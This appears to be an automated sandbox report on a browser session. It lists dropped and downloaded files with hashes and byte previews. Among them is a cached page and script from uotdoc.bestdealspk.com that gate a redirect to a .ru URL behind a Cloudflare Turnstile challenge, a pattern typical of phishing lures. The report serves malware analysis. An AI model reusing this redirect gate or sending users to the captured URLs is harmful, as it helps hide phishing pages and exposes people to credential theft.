Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ce8077ca-6fde-4b07-9137-96421b9f949f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d4f8c3f4-15a2-403e-b40c-304065a94181.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tOWLaGZ4ZwYIGNPS:RB3mlind9i4ufFXpAXkrfUs0kWLaGZ48
MD5:	1D64D25345DD73F100517644279994E6
SHA1:	DE807F82098D469302955DCBE1A963CD6E887737
SHA-256:	0A05C4CE0C4D8527D79A3C9CEE2A8B73475F53E18544622E4656C598BC814DFC
SHA-512:	C0A37437F84B4895A7566E278046CFD50558AD84120CA0BD2EAD2259CA7A30BD67F0BDC4C043D73257773C607259A64B6F6AE4987C8B43BB47241F3C78EB9416
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 04:39:37 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9936607923129617
Encrypted:	false
SSDEEP:	48:8zdPTnTLHKidAKZdA1FehwiZUklqehN5y+3:8x/U05y
MD5:	F96293B2619DE0AC6AD5743F3E63E9A1
SHA1:	E1E48507ABC35C66403A8BBBF4031DD82B61309F
SHA-256:	1E9216D1A6E74B928A9BF9E63665A7ACB54C0A7ED6CF41A9991906B91FA444EE
SHA-512:	9653A14F825AEBF1510B8FFA7EF5F77584670622069718077CC5F7B93D27C20A5E145FD61C0F47B2ACED0524D2AD6EC406060EE131BC5A4A0C2E7D69B320EF81
Malicious:	false
Preview:	L..................F.@.. ...$+.,........?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IzY.,....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzY.,....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzY.,....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzY.,..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzY.,...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........9........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 04:39:37 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.007856683394728
Encrypted:	false
SSDEEP:	48:8ldPTnTLHKidAKZdA1seh/iZUkAQkqehk5y+2:8n/q9Q35y
MD5:	C01AE450116A4416DF2E7C4DAF97B18D
SHA1:	1DF43CE20ED0EA9AACF1F7A46AA8B2DCBFF7B64B
SHA-256:	62F5F3309FDE35695824C044ECC02ADD8114FF3332834926BBCBE41CCFE0DC82
SHA-512:	BB617EE607BC05A82D00AB45D34218C4BEC459D99B4B379CD3EEBED7B0AE7BCD6D87A5E524C0983F0FFBFB13CD423069CEF6266BD12024050D0751373D7A30EB
Malicious:	false
Preview:	L..................F.@.. ...$+.,....A....?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IzY.,....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzY.,....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzY.,....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzY.,..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzY.,...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........9........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.013303632117321
Encrypted:	false
SSDEEP:	48:87dPTnTAHKidAKZdA14meh7sFiZUkmgqeh7sW5y+BX:85/bn45y
MD5:	9721B10B87082095BB5D0C867FFC05E0
SHA1:	2447556BD0A642027EC7DD72E45F78CC52597BD4
SHA-256:	DDEB4D4643DB0859B9321D4C6900889D75AE989376242A2F946764A8E41D7E17
SHA-512:	97D98439BDDA3A7114BEDE7E5543DEE61200EE3A1E548D9B93FC4F0F8A5D1C798799939275FE7B5F534B4F9F3C7E64AA76AC2F7CC2975DA1DC4ADC837C231302
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IzY.,....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzY.,....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzY.,....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzY.,..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........9........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 04:39:37 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.007430444510018
Encrypted:	false
SSDEEP:	48:8odPTnTLHKidAKZdA1TehDiZUkwqehA5y+R:8g/Be5y
MD5:	46A7F562CC44D2FC6B10A707BFE31FE9
SHA1:	B2FB023002EC2304F562AD65F1CADE0E10503C16
SHA-256:	0F6A31C67E9A59FAD9F38A83D06468DDC486C078614306B9B8F3680457318D9D
SHA-512:	0815B5395A4E018595F89F90DE88763E4360A4A9E5C31D0B118CD6AD1D6F4977737B7EAD117B0B7691482B7C95E1DC94063019D7FA4DBA80A9B8EDFDDF759776
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....)...?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IzY.,....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzY.,....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzY.,....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzY.,..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzY.,...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........9........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 04:39:37 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9942278339515567
Encrypted:	false
SSDEEP:	48:8tdPTnTLHKidAKZdA1dehBiZUk1W1qeh65y+C:8v/h9a5y
MD5:	2F2F859B91ECA9BC805F8E482E1BC32E
SHA1:	513D82D5446E9BE76E59FE9060AB778485207CBE
SHA-256:	9CEB59D2FD1CF68FB040CECEB872865ACE8A76B864BB3067A070B1E4763A9F7B
SHA-512:	5853E87F70658EA28D94722C0D3C1A91E815D4B89DCD32F049BD4CBCF6A5D9B4815C8C2D6487E79969B38436CBEDFD82A88DB0832BE550630DFD06F2568CACCC
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....t...?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IzY.,....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzY.,....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzY.,....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzY.,..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzY.,...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........9........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 26 04:39:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.0034728406443545
Encrypted:	false
SSDEEP:	48:8ndPTnTLHKidAKZdA1duTeehOuTbbiZUk5OjqehOuTb45y+yT+:8N/pTfTbxWOvTb45y7T
MD5:	66A0ED112458E2BE43E9DDC283316267
SHA1:	19A2FF7B9EE498C5DD2D672D5F08DAF86DF7B501
SHA-256:	DC80DEB989DC73BE72D6A4AE0F22E1AF86046AAA373DA8248CAABC79FB21DDC4
SHA-512:	3F1303B8C94327F670BC7890D702D156A4B342F8DB8ADB795989219D4E47AFC7CB2A93B6936BBCBFE5A70C6C64221FECC39EE4822695E6A184763E46423B1C3C
Malicious:	false
Preview:	L..................F.@.. ...$+.,....N.y..?..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IzY.,....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VzY.,....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VzY.,....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VzY.,..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VzY.,...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........9........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 53 x 52, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlwRt/Kkxl/k4E08up:6v/lhPu+k7Tp
MD5:	7041EA9930F54881A940E7770774822C
SHA1:	7CAD9EEB1D41DA5B842EF44B373223ECF331C92E
SHA-256:	D4D6EE1288F4E73BBB7606BC189A05483ECCD349CC932C75820438C5CE65ACFF
SHA-512:	1A68E46ED85BDC522D93839CE47C205EFA3CCD576CA7E580A96C3243A3692622D5A2124F46364758B7181870BFDDEC454C1907D3F4B09425C41C49A7611FED5C
Malicious:	false
Preview:	.PNG........IHDR...5...4............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	612
Entropy (8bit):	4.988321743922674
Encrypted:	false
SSDEEP:	12:hPG4yvjS5SSavmmMcw2osZdr8+HskwGWuMCcf0+uNV4Gb:hPxR5SPvGYdrRWuMC2uNV4M
MD5:	90FCE18E5EF426EA4D79AA9F3553FB96
SHA1:	2FC864EA0F46AB0D95AC9FE00A01E4280D780FFF
SHA-256:	59EACA076136932EC883A42164BEB703DB25C1616F2D6759A0AF2A620C170157
SHA-512:	7AF35051E65E9D2CB330102AD3CD671E2285858DA2E0AD3BFABBEBBD5987E6BFBF449F2E42FE7C5FD0F0A50998497F1CA428EA7A8E39E6C5453D4DAA6E10D1CA
Malicious:	false
URL:	https://uotdoc.bestdealspk.com/
Preview:	<!DOCTYPE html>..<html lang="en">....<head>.. <meta charset="UTF-8" />.. <meta name="viewport" content="width=device-width, initial-scale=1.0" />.. <title>Document</title>..<style>.. div {.. display: flex;.. align-items: center;.. justify-content: center;.. width: 90vw;.. height: 85vh;.. background-color: white;.. flex-direction: row;.. }..</style>.. <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback" defer></script>..</head>....<body>....<div id="myWidget"></div>...... <script src="main.js"></script> ..</body>....</html>

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	344
Entropy (8bit):	4.732497383068755
Encrypted:	false
SSDEEP:	6:HtW9lD+/98MPpC7T1HiziHodNXpKpWgLZmUemmHqUNAJ9n:NWqeMDkq87ZmHxHqUN89n
MD5:	B2BBADE3FABD7CAC95612382D1DAC990
SHA1:	E10D575297B2EA17F190605D990A5AEDC06529D9
SHA-256:	BCC923EBA967B297B4967CD6571FF8F43C3B1FCB575CDFB2A557EEAC0BD69002
SHA-512:	7F154A114DB60B5D19A4D2F99BE549973733E7DD570A0871BAFF7C8665872D4268E0F415F4F1F99979CECCED0E7570EC5B45FE9A306E68CC36F5405A349B30AB
Malicious:	false
URL:	https://uotdoc.bestdealspk.com/main.js
Preview:	window.onloadTurnstileCallback = function () {.. turnstile.render('#myWidget', {.. sitekey: '0x4AAAAAAA0AUtyons2FCDWi',.. callback: function(token) {.. console.log('Challenge Success ${token}');.. window.location.href = "https://rwcq.qonimex.ru/Q7boMM5R/";.. .. },.. });.. };

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3396 x 1920, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	87859
Entropy (8bit):	7.046777034066421
Encrypted:	false
SSDEEP:	1536:k4iIwz9HmGeKV5FrZuUDPA3Ae3ItuR30nAVO4P88D6s:piIkGZ+ZsJ4YR30ePHD6s
MD5:	A4D9107960AE4E4F79E6A36DF931EF5D
SHA1:	35704C698FCCD795B8F19DA76672A72C00422857
SHA-256:	FBBBC78E85DFA4F2B390E6DC2F3850D0F5247D16B5FD525093331572AA79AE84
SHA-512:	2C7FB7F198B0B141DD5B2B72ECB8B6E00514B70DFDE8CF6161988A5BB4F26C72BEED5CB59EC9E80BB2651016999D7DBB1CEE73F18AF7A982A0F3AC73E9B02465
Malicious:	false
URL:	https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdrhY6zM7txEf61nPO67_Cl7rOyCGsyEb9GaIEqe3M-p-yN2nJeBUGCXkDygK7t8xYVcKwSgu4v0_u6EZF5srUh16p0vNl1K8hBeBV8dg-KcOpt7y8vrkamMOU2HxW0STp0JDEp21FWuCWxDXZX0EtxoLPSBWR6WwhXZglXIvWXbh24ojuyofD6htY8D4/s3396/userinter.png
Preview:	.PNG........IHDR...D.........3;+.....sBIT.....O...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-... .IDATx...!.. ..0..X..I.................@g............;3............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13..

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 53 x 52, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlwRt/Kkxl/k4E08up:6v/lhPu+k7Tp
MD5:	7041EA9930F54881A940E7770774822C
SHA1:	7CAD9EEB1D41DA5B842EF44B373223ECF331C92E
SHA-256:	D4D6EE1288F4E73BBB7606BC189A05483ECCD349CC932C75820438C5CE65ACFF
SHA-512:	1A68E46ED85BDC522D93839CE47C205EFA3CCD576CA7E580A96C3243A3692622D5A2124F46364758B7181870BFDDEC454C1907D3F4B09425C41C49A7611FED5C
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8e878b3d8eb043b2/1732599632815/Qf4EdubE2fHxWlJ
Preview:	.PNG........IHDR...5...4............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in 